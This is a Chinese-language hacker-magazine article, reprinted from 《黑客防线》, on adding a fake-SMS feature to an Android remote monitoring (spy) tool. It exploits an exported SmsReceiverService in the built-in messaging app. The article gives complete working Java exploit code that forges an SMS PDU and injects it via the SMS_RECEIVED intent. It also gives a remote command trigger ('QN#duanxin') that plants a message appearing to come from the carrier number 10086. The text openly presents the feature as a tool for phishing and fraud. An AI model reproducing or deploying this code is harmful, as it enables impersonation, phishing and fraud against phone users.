Android 远程监控系统设计之伪造短信


本文将介绍一个 2012 年底北卡罗莱纳州立大学蒋旭宪教授领导的团队发布的 Android系统所有版本中存在的安全漏洞,任何应用软件不需要任何权限(包括不需要读写短信的权限)都可以在系统中伪造任意号码发来的任何内容的短信或彩信,从而可能引发进一步的钓鱼攻击。Google 已经确认了这一漏洞的存在。

这个漏洞的效果就是当程序运行时,可以在本机上伪造任意号码任意内容的短信,在钓鱼和诈骗中比较常见。首先按照添加功能的方法进行代码编写,第一步是添加权限,该漏洞不需要任何权限,因此这步可省。第二步判断指令,可在源代码中添加如下代码:

[java]
if(message .toLowerCase().contains( "duanxin" )){
createFakeSms(this.getApplicationContext(), "10086" ,"FakeSms" );
}
[/java]

这段代码的意思是,当接收到指令“QN#duanxin”时,调用 createFakeSms 函数,会在本机伪造一条收到来自 10086 的短信,短信内容是“FakeSms ”。这里可将要伪造的短信号码及内容换成自己需要的。 第三步,指令功能实现。这一步比较简单,因为已经有大牛写好了利用代码,我们只要稍加改动就可以拿来使用了,具体代码如下:
[java]
private static void createFakeSms(Context context, String sender, String body) {
byte[] pdu = null;
byte[] scBytes = PhoneNumberUtils.networkPortionToCalledPartyBCD("0000000000");
byte[] senderBytes = PhoneNumberUtils.networkPortionToCalledPartyBCD(sender);
int lsmcs = scBytes.length;
byte[] dateBytes = new byte[7];
Calendar calendar = new GregorianCalendar();
dateBytes[0] = reverseByte((byte) (calendar.get(Calendar.YEAR)));
dateBytes[1] = reverseByte((byte) (calendar.get(Calendar.MONTH) + 1));
dateBytes[2] = reverseByte((byte) (calendar.get(Calendar.DAY_OF_MONTH)));
dateBytes[3] = reverseByte((byte) (calendar.get(Calendar.HOUR_OF_DAY)));
dateBytes[4] = reverseByte((byte) (calendar.get(Calendar.MINUTE)));
dateBytes[5] = reverseByte((byte) (calendar.get(Calendar.SECOND)));
dateBytes[6] = reverseByte((byte) ((calendar.get(Calendar.ZONE_OFFSET) + calendar.get(Calendar.DST_OFFSET)) / (60 * 1000 * 15)));
try {
ByteArrayOutputStream bo = new ByteArrayOutputStream();
bo.write(lsmcs);
bo.write(scBytes);
bo.write(0x04);
bo.write((byte) sender.length());
bo.write(senderBytes);
bo.write(0x00);
bo.write(0x00);
bo.write(dateBytes);
try {
String sReflectedClassName = "com.android.internal.telephony.GsmAlphabet";
Class cReflectedNFCExtras = Class.forName (sReflectedClassName);
Method stringToGsm7BitPacked = cReflectedNFCExtras.getMethod("stringToGsm7BitPacked", new Class[]{ String.class });
stringToGsm7BitPacked.setAccessible(true);
byte[] bodybytes = (byte[]) stringToGsm7BitPacked.invoke(null, body);
bo.write(bodybytes);
} catch (Exception e) {
}
pdu = bo.toByteArray();
} catch (IOException e) {
}
Intent intent = new Intent();
intent.setClassName("com.android.mms", "com.android.mms.transaction.SmsReceiverService");
intent.setAction("android.provider.Telephony.SMS_RECEIVED");
intent.putExtra("pdus", new Object[] { pdu });
intent.putExtra("format", "3gpp");
context.startService(intent);
}
private static byte reverseByte(byte b) {
return (byte) ((b & 0xF0) >> 4 | (b & 0x0F) << 4);
}
[/java]

这段代码就不详述了,可以参考http://stackoverflow.com/a/12338541进行了解。

产生漏洞的主要原因是,系统预装的短信程序中,下列服务被暴露(设置为了android:export=”true” ):com.android.mms.transaction.SmsReceiverService,任何第三方软件可以通过名为 android.provider.Telephony.SMS_RECEIVED 的action,加上自己构造的短信或彩信来调用它,触发系统的短信接收流程。在我们的利用代码中可以看到相关 action 的调用。

通过上面的代码,基本就实现了伪造短信的功能,下面进行下测试吧。

本文利用的是虚拟机测试,开启两部虚拟手机,攻击者号码是 15555215556,受害者号码是 15555215554。攻击者发送攻击指令“QN#duanxin”到受害者号码,受害者接收到指令并执行,从图 1 可以看到,受害者收到一条来自 10086 的虚假短信。
Android 远程监控系统设计之伪造短信

本文转自《黑客防线》2013年第6期。

发表评论